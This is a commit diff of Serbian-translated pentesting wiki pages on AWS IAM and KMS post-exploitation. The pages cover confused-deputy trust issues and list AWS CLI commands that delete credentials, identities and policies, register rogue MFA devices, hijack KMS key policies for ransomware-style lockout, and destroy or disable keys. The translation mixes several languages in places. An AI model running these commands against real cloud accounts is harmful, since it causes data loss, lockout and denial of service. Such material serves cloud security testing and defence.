Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation

This commit is contained in:
Translator
2025-10-07 09:36:42 +00:00
parent 74539d9749
commit 60832dfcc9
2 changed files with 167 additions and 37 deletions

View File

@@ -10,15 +10,15 @@ Za više informacija o IAM pristupu:
../aws-services/aws-iam-enum.md
{{#endref}}
## Problem zbunjenog zamenika
## Confused Deputy Problem
Ako **dozvolite eksternom nalogu (A)** da pristupi **rolu** u vašem nalogu, verovatno ćete imati **0 vidljivosti** o **tome ko tačno može pristupiti tom eksternom nalogu**. To je problem, jer ako drugi eksterni nalog (B) može pristupiti eksternom nalogu (A), moguće je da **B takođe može pristupiti vašem nalogu**.
Stoga, kada dozvoljavate eksternom nalogu da pristupi roli u vašem nalogu, moguće je odrediti `ExternalId`. Ovo je "tajna" string koja eksterni nalog (A) **mora da navede** kako bi **preuzeo ulogu u vašoj organizaciji**. Kako **eksterni nalog B neće znati ovu string**, čak i ako ima pristup A, **neće moći da pristupi vašoj roli**.
Ako dozvolite jednom **spoljašnjem nalogu (A)** da pristupi nekoj **role** u vašem nalogu, verovatno ćete imati **0 vidljivost** na to **ko tačno može da pristupi tom spoljašnjem nalogu**. To je problem, jer ako drugi spoljašnji nalog (B) može da pristupi spoljašnjem nalogu (A), moguće je da će **B takođe moći da pristupi vašem nalogu**.
<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
Međutim, imajte na umu da ova `ExternalId` "tajna" **nije tajna**, svako ko može **da pročita IAM politiku preuzimanja uloge moći će da je vidi**. Ali sve dok eksterni nalog A to zna, a eksterni nalog **B to ne zna**, to **sprečava B da zloupotrebi A kako bi pristupio vašoj roli**.
Zato, kada dozvoljavate spoljašnjem nalogu da pristupi **role** u vašem nalogu, moguće je navesti `ExternalId`. Ovo je "tajni" string koji spoljašnji nalog (A) **mora da navede** da bi **assume the role in your organization**. Pošto **spoljašnji nalog B neće znati ovaj string**, čak i ako ima pristup nalogu A on **neće moći da pristupi vašoj role**.
Ipak, imajte na umu da ovaj `ExternalId` "tajni" **nije tajna** — svako ko može **pročitati IAM assume role policy** moći će da ga vidi. Ali dok god spoljašnji nalog A zna taj string, a spoljašnji nalog **B ga ne zna**, to **sprečava B da zloupotrebi A da pristupi vašoj role**.
Primer:
```json
@@ -39,11 +39,11 @@ Primer:
}
```
> [!WARNING]
> Da bi napadač iskoristio zbunjenog zamenika, moraće nekako da sazna da li subjekti trenutnog naloga mogu da se predstavljaju kao uloge u drugim nalozima.
> Da bi napadač iskoristio confused deputy, moraće na neki način да откриje да ли principals тренутног налога могу да impersonate roles у другим налогима.
### Neočekivana poverenja
### Neočekivana poverења
#### Wildcard kao subjekt
#### Wildcard kao principal
```json
{
"Action": "sts:AssumeRole",
@@ -51,9 +51,9 @@ Primer:
"Principal": { "AWS": "*" }
}
```
Ova politika **dozvoljava svim AWS** da preuzmu ulogu.
Ova politika **dozvoljava svima iz AWS** da preuzmu ulogu.
#### Usluga kao glavni
#### Servis kao principal
```json
{
"Action": "lambda:InvokeFunction",
@@ -62,9 +62,9 @@ Ova politika **dozvoljava svim AWS** da preuzmu ulogu.
"Resource": "arn:aws:lambda:000000000000:function:foo"
}
```
Ova politika **dozvoljava bilo kojem nalogu** da konfiguriše svoj apigateway da poziva ovu Lambda.
Ova politika **dozvoljava bilo kojem nalogu** da konfiguriše svoj apigateway da pozove ovu Lambda.
#### S3 kao glavni
#### S3 kao principal
```json
"Condition": {
"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
@@ -73,7 +73,7 @@ Ova politika **dozvoljava bilo kojem nalogu** da konfiguriše svoj apigateway da
}
}
```
Ako je S3 bucket dat kao principal, pošto S3 bucket-i nemaju Account ID, ako ste **obrisali svoj bucket i napadač ga je kreirao** u svom nalogu, mogli bi to zloupotrebiti.
Ako je S3 bucket naveden kao principal, pošto S3 buckets nemaju Account ID, ako ste **obrisali svoj bucket i attacker ga je kreirao** u svom nalogu, mogli bi to zloupotrebiti.
#### Nije podržano
```json
@@ -84,9 +84,82 @@ Ako je S3 bucket dat kao principal, pošto S3 bucket-i nemaju Account ID, ako st
"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
}
```
Uobičajen način da se izbegnu problemi sa Confused Deputy je korišćenje uslova sa `AWS:SourceArn` za proveru izvora ARN. Međutim, **neke usluge možda to ne podržavaju** (kao što je CloudTrail prema nekim izvorima).
Uobičajen način da se izbegnu problemi Confused Deputy je upotreba uslova sa `AWS:SourceArn` za proveru ARN izvora. Međutim, **neke usluge možda to ne podržavaju** (na primer CloudTrail prema nekim izvorima).
## References
### Brisanje kredencijala
Sa bilo kojom od sledećih dozvola — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — subjekat može ukloniti pristupne ključeve, profile za prijavu, SSH ključeve, kredencijale specifične za servis, instance profile, sertifikate ili CloudFront javne ključeve, ili odvojiti role od instance profila. Takve akcije mogu odmah blokirati legitimne korisnike i aplikacije i izazvati denial-of-service ili gubitak pristupa za sisteme koji zavise od tih kredencijala, zato ove IAM dozvole moraju biti strogo ograničene i nadzirane.
```bash
# Remove Access Key of a user
aws iam delete-access-key \
--user-name <Username> \
--access-key-id AKIAIOSFODNN7EXAMPLE
## Remove ssh key of a user
aws iam delete-ssh-public-key \
--user-name <Username> \
--ssh-public-key-id APKAEIBAERJR2EXAMPLE
```
### Brisanje identiteta
Sa dozvolama kao što su `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, ili `iam:RemoveUserFromGroup`, akter može obrisati korisnike, role ili grupe—ili promeniti članstvo u grupi—uklanjajući identitete i povezane tragove. Ovo može odmah prekinuti pristup za ljude i servise koji zavise od tih identiteta, izazivajući denial-of-service ili gubitak pristupa, zato ove IAM akcije moraju biti strogo ograničene i nadgledane.
```bash
# Delete a user
aws iam delete-user \
--user-name <Username>
# Delete a group
aws iam delete-group \
--group-name <Username>
# Delete a role
aws iam delete-role \
--role-name <Role>
```
###
Sa bilo kojom od sledećih dozvola — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — akter može izbrisati ili odvojiti managed/inline policies, ukloniti verzije politika ili permissions boundaries, i odvezati politike od korisnika, grupa ili uloga. Ovo uništava autorizacije i može izmeniti model dozvola, prouzrokujući trenutni gubitak pristupa ili denial-of-service za subjekte koji su zavisili od tih politika, zato ove IAM akcije moraju biti strogo ograničene i nadgledane.
```bash
# Delete a group policy
aws iam delete-group-policy \
--group-name <GroupName> \
--policy-name <PolicyName>
# Delete a role policy
aws iam delete-role-policy \
--role-name <RoleName> \
--policy-name <PolicyName>
```
### Brisanje federisanih identiteta
Sa `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` i `iam:RemoveClientIDFromOpenIDConnectProvider`, napadač može da obriše OIDC/SAML provajdere identiteta ili ukloni client ID-e. Ovo prekida federisanu autentifikaciju, onemogućava validaciju tokena i odmah uskraćuje pristup korisnicima i servisima koji se oslanjaju na SSO dok se IdP ili konfiguracije ne obnove.
```bash
# Delete OIDCP provider
aws iam delete-open-id-connect-provider \
--open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com
# Delete SAML provider
aws iam delete-saml-provider \
--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
```
### Neovlašćena aktivacija MFA
Pomoću `iam:EnableMFADevice`, napadač može registrovati MFA uređaj na identitet korisnika, sprečavajući legitimnog korisnika da se prijavi. Kada je neovlašćeni MFA omogućen, korisnik može ostati zaključan dok uređaj ne bude uklonjen ili resetovan (napomena: ako je registrovano više MFA uređaja, za prijavu je dovoljan samo jedan, pa ovaj napad neće onemogućiti pristup).
```bash
aws iam enable-mfa-device \
--user-name <Username> \
--serial-number arn:aws:iam::111122223333:mfa/alice \
--authentication-code1 123456 \
--authentication-code2 789012
```
### Manipulacija metapodacima sertifikata/ključeva
Sa `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, napadač može promeniti status ili metapodatke javnih ključeva i sertifikata. Označavanjem ključeva/sertifikata kao neaktivnih ili izmenom referenci, mogu onemogućiti SSH autentifikaciju, poništiti X.509/TLS validacije i odmah poremetiti servise koji zavise od tih kredencijala, što dovodi do gubitka pristupa ili dostupnosti.
```bash
aws iam update-ssh-public-key \
--user-name <Username> \
--ssh-public-key-id APKAEIBAERJR2EXAMPLE \
--status Inactive
aws iam update-server-certificate \
--server-certificate-name <Certificate_Name> \
--new-path /prod/
```
## Reference
- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)

View File

@@ -4,23 +4,23 @@
## KMS
Za više informacija pogledajte:
For more information check:
{{#ref}}
../aws-services/aws-kms-enum.md
{{#endref}}
### Enkriptovanje/Dekriptovanje informacija
### Šifrovanje/Dešifrovanje informacija
`fileb://` i `file://` su URI sheme koje se koriste u AWS CLI komandama za specificiranje puta do lokalnih fajlova:
`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files:
- `fileb://:` Čita fajl u binarnom režimu, obično se koristi za ne-tekstualne fajlove.
- `file://:` Čita fajl u tekstualnom režimu, obično se koristi za obične tekstualne fajlove, skripte ili JSON koji nemaju posebne zahteve za kodiranje.
- `fileb://:` Čita fajl u binarnom režimu, obično se koristi za fajlove koji nisu tekstualni.
- `file://:` Čita fajl u tekstualnom režimu, tipično se koristi za obične tekstualne fajlove, skripte ili JSON koji nema posebne zahteve za enkodiranje.
> [!TIP]
> Imajte na umu da ako želite da dekriptujete neke podatke unutar fajla, fajl mora sadržati binarne podatke, a ne base64 kodirane podatke. (fileb://)
> Imajte na umu da ako želite da dešifrujete podatke iz fajla, fajl mora da sadrži binarne podatke, a ne base64 enkodirane podatke. (fileb://)
- Koristeći **simetrični** ključ
- Koristeći **symmetric** ključ
```bash
# Encrypt data
aws kms encrypt \
@@ -60,14 +60,14 @@ aws kms decrypt \
```
### KMS Ransomware
Napadač sa privilegovanim pristupom KMS-u može da izmeni KMS politiku ključeva i **dodeli svom nalogu pristup tim ključevima**, uklanjajući pristup koji je dodeljen legitimnom nalogu.
Napadač sa privilegovanim pristupom KMS-u može izmeniti KMS policy ključeva i **dodeliti svom nalogu pristup tim ključevima**, uklanjajući pristup dodeljen legitimnom nalogu.
Tada korisnici legitimnog naloga neće moći da pristupe bilo kojim informacijama bilo koje usluge koja je enkriptovana tim ključevima, stvarajući jednostavan, ali efikasan ransomware nad nalogom.
Tada korisnici legitimnog naloga neće moći da pristupe bilo kojim podacima bilo koje usluge koji su šifrovani tim ključevima, stvarajući jednostavan ali efikasan ransomware nad nalogom.
> [!WARNING]
> Imajte na umu da **AWS upravljani ključevi nisu pogođeni** ovim napadom, samo **Klijentski upravljani ključevi**.
> Imajte na umu da **AWS managed keys nisu pogođene** ovim napadom, već samo **Customer managed keys**.
> Takođe imajte na umu potrebu da koristite parametar **`--bypass-policy-lockout-safety-check`** (nedostatak ove opcije u web konzoli čini ovaj napad mogućim samo iz CLI-a).
> Takođe imajte na umu potrebu da se koristi parametar **`--bypass-policy-lockout-safety-check`** (nedostatak ove opcije u web konzoli čini ovaj napad mogućim samo iz CLI-ja).
```bash
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
@@ -92,34 +92,91 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
}
```
> [!CAUTION]
> Imajte na umu da ako promenite tu politiku i date pristup samo eksternom nalogu, a zatim iz ovog eksternog naloga pokušate da postavite novu politiku da **ponovo date pristup originalnom nalogu, nećete moći jer akcija Put Policy ne može biti izvršena iz međunaložja**.
> Imajte na umu da ako promenite tu politiku i date pristup samo eksternom nalogu, i onda sa tog eksternog naloga pokušate da postavite novu politiku da **vratite pristup originalnom nalogu, nećete moći cause the Put Polocy action cannot be performed from a cross account**.
<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
### Generic KMS Ransomware
#### Global KMS Ransomware
Postoji još jedan način da se izvede globalni KMS Ransomware, koji bi obuhvatao sledeće korake:
Postoji još jedan način da se izvrši globalni KMS Ransomware, koji bi uključivao sledeće korake:
- Kreirajte novi **ključ sa materijalom ključa** koji je importovao napadač
- **Ponovo enkriptujte starije podatke** žrtve koji su bili enkriptovani prethodnom verzijom, novom verzijom.
- **Delete the KMS key**
- Sada samo napadač, koji poseduje originalni materijal ključa, mogao bi da dekriptuje šifrovane podatke
- Kreirajte novu **ključ sa ključnim materijalom** koji je uvezen od strane napadača
- **Ponovo enkriptujte starije podatke** enkriptovane prethodnom verzijom sa novom.
- **Obrišite KMS ključ**
- Sada samo napadač, koji ima originalni ključni materijal, može dekriptovati enkriptovane podatke
### Brisanje ključeva preko kms:DeleteImportedKeyMaterial
### Destroy keys
Sa `kms:DeleteImportedKeyMaterial` permisijom, akter može obrisati importovani materijal ključa iz CMKs sa `Origin=EXTERNAL` (CMKs koji su importovali svoj materijal ključa), čineći ih nesposobnim da dekriptuju podatke. Ova akcija je destruktivna i nepovratna osim ako se kompatibilni materijal ponovo ne importuje, što omogućava napadaču da efektivno prouzrokuje gubitak podataka sličan ransomwareu tako što učini šifrovane informacije trajno nedostupnim.
```bash
# Destoy they key material previously imported making the key useless
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab
aws kms delete-imported-key-material --key-id <Key_ID>
```
### Uništavanje ključeva
Uništavanjem ključeva moguće je izvršiti DoS.
```bash
# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7
```
> [!CAUTION]
> Imajte na umu da AWS sada **sprečava prethodne radnje da se izvrše iz druge naloge:**
> Imajte na umu da AWS sada **sprečava da se prethodne akcije izvrše iz cross account:**
>
> ### Promeni ili izbriši Alias
> Ovaj napad briše ili preusmerava AWS KMS aliases, narušavajući rešavanje ključeva i izazivajući trenutne greške u svim servisima koji zavise od tih aliases, što rezultira denial-of-service. Sa dozvolama kao što su `kms:DeleteAlias` ili `kms:UpdateAlias`, napadač može ukloniti ili preusmeriti aliases i poremetiti kriptografske operacije (npr. encrypt, describe). Bilo koji servis koji koristi alias umesto key ID može otkazati dok se alias ne obnovi ili pravilno preslika.
```bash
# Delete Alias
aws kms delete-alias --alias-name alias/<key_alias>
# Update Alias
aws kms update-alias \
--alias-name alias/<key_alias> \
--target-key-id <new_target_key>
```
### Poništavanje zakazanog brisanja ključa
Sa dozvolama kao što su `kms:CancelKeyDeletion` i `kms:EnableKey`, napadač može otkazati zakazano brisanje AWS KMS customer master key i kasnije ga ponovo omogućiti. Na taj način se oporavlja ključ (isprva u Disabled stanju) i obnavlja njegova sposobnost da dešifruje prethodno zaštićene podatke, omogućavajući exfiltration.
```bash
# Firts cancel de deletion
aws kms cancel-key-deletion \
--key-id <Key_ID>
## Second enable the key
aws kms enable-key \
--key-id <Key_ID>
```
### Onemogućavanje ključa
Sa `kms:DisableKey` dozvolom, entitet može onemogućiti AWS KMS customer master key, sprečavajući njegovo korišćenje za encryption ili decryption. Ovo prekida pristup svim servisima koji zavise od tog CMK i može izazvati trenutne poremećaje ili denial-of-service dok se ključ ponovo ne omogući.
```bash
aws kms disable-key \
--key-id <key_id>
```
### Izvođenje zajedničke tajne
Sa dozvolom `kms:DeriveSharedSecret`, entitet može da iskoristi privatni ključ koji KMS čuva uz korisnički dostavljen javni ključ da izračuna ECDH zajedničku tajnu.
```bash
aws kms derive-shared-secret \
--key-id <key_id> \
--public-key fileb:///<route_to_public_key> \
--key-agreement-algorithm <algorithm>
```
### Lažno predstavljanje putem `kms:Sign`
Sa dozvolom `kms:Sign`, napadač može da koristi CMK smešten u KMS da kriptografski potpiše podatke bez izlaganja privatnog ključa, proizvodeći važeće potpise koji mogu omogućiti lažno predstavljanje ili autorizovati zlonamerne radnje.
```bash
aws kms sign \
--key-id <key-id> \
--message fileb://<ruta-al-archivo> \
--signing-algorithm <algoritmo> \
--message-type RAW
```
### DoS sa Custom Key Stores
Sa dozvolama kao što su `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` ili `kms:UpdateCustomKeyStore`, napadač može izmeniti, prekinuti vezu ili obrisati AWS KMS Custom Key Store (CKS), čineći njegove master ključeve neupotrebljivim. To prekida operacije šifrovanja, dešifrovanja i potpisivanja za bilo koje servise koji se oslanjaju na te ključeve i može izazvati trenutni denial-of-service. Ograničavanje i praćenje tih dozvola je zato kritično.
```bash
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
```
<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
{{#include ../../../banners/hacktricks-training.md}}